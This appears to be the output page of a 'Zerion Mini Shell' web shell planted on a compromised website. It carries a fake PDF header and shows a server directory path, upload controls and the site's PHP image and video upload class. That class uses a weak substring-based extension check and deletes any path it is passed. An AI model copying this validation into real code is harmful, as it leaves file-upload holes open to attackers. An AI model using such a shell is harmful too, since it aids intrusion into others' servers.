%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home1/dimen328/libertysa.com.br/admin/includes/
Upload File :
Create Path :
Current File : //home1/dimen328/libertysa.com.br/admin/includes/uploader.class.php

<?php
	class Upload{

		private $pastaDestino; // Recebe o caminho até a pasta na qual a imagem será salva.
		private $arquivo; 	  // Recebe como parâmetro $_FILES['nomearquivo'].
		private $nomeSaida;  // Nome que o arquivo receberá ao ser salvo.
		private $extensao;  // Recebe a extensão do arquivo.
		private $error;    // Armezena a mensagem de algum erro, caso ocorra.
		
		public function  setArquivo($imagem){
			$this->arquivo = $imagem;
		}
		
		public function setNomeSaida($nome){
			$this->nomeSaida = $nome;
		}
		
		public function setPastaDestino($pasta){
			$this->pastaDestino = $pasta;
		}
		
		public function getNomeSaida(){
			return $this->nomeSaida.".".$this->extensao;
		}
		
		public function getError(){
			return $this->error;
		}

		public function validate(){
			//Trata a extensão, recebendo apenas as permitidas
			if (strstr('.jpg;.jpeg;.gif;.png', $this->getExtensao())) {
				return true;
			}
			else{
				$this->error = "Erro, tipo de arquivo inválido";
				return false;
			}
		}
		
		public function validadeVideo(){
			//Trata a extensão, recebendo apenas as permitidas
			if (strstr('.mp4;.wmv;.avi;.mov', $this->getExtensao())) {
				return true;
			}
			else{
				$this->error = "Erro, tipo de arquivo de vídeo inválido";
				return false;
			}
		}

		//Faz o upload do arquivo
		public function doUpload(){
			if (@move_uploaded_file($this->arquivo['tmp_name'],$this->caminhoSaida()))
			{
				return true;
			}
			else
			{
				return false;
			}
		}
		
		//Retorna o caminho no qual o arquivo será salvo
		public function caminhoSaida(){
			return $this->pastaDestino.$this->nomeSaida.".".$this->getExtensao();
		}
		
		//Retorna a extensão do arquivo
		public function getExtensao(){
			$nome = $this->arquivo[ 'name' ];
			// Pega a extensão
			$extensao = pathinfo ($nome, PATHINFO_EXTENSION);
			// Converte a extensão para minúsculo
			return $this->extensao = strtolower ($extensao);
		} 

		public function deletar($path){
			return unlink($path);
		}

	}
?>

Zerion Mini Shell 1.0